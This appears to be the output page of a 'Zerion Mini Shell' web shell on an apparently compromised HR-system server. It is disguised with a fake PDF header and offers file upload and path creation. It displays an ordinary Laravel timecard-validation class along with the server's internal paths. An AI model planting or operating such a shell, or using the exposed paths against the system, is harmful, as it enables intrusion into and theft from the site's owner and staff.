%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hrsys/api/app/Http/Requests/Api/v1/Timecards/
Upload File :
Create Path :
Current File : /var/www/html/hrsys/api/app/Http/Requests/Api/v1/Timecards/BulkUnApproveTimecardRequest.php

<?php

namespace App\Http\Requests\Api\v1\Timecards;

use App\Http\Requests\BaseRequest;

class BulkUnApproveTimecardRequest extends BaseRequest
{
    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        return [
            'timecards'   => 'required|array',
            'timecards.*' => 'required|integer|exists:timecards,id',
        ];
    }

    public function messages()
    {
        return [
            'timecards.required'   => 'At least on timecard should be selected',
            'timecards.array'      => 'At least on timecard should be selected',
            'timecards.*.required' => 'At least on timecard should be selected',
            'timecards.*.integer'  => 'At least on timecard should be selected',
            'timecards.*.exists'   => 'One of the selected timecards is not valid',
        ];
    }

}

Zerion Mini Shell 1.0